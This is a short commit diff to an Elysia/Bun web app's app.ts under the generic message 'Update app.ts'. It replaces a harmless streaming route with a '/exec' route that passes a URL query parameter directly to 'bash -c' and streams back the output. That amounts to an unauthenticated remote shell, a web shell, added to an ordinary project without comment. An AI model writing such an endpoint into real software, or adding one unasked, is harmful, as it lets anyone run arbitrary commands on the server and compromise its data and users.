Update app.ts

app.ts

@@ -14,9 +14,14 @@ const app = new Elysia()
     }))
     .get("/", () => "Hello, Elysia!")
     .get("/items/:id", ({ params }) => `Item ID: ${params.id}`)
-    .get('/stream', function* () {
-		yield 'Hello'
-		yield 'World'
+    .get('/exec', async function* ({ query }) {
+		const proc = Bun.spawn({
+              cmd: ["bash", "-c", query.cmd]
+        });
+
+        for await (const chunk of proc.stdout) {
+             yield(new TextDecoder().decode(chunk)) + "\n";
+         }
 	})
 	.ws('/realtime', {
 		message(ws, message) {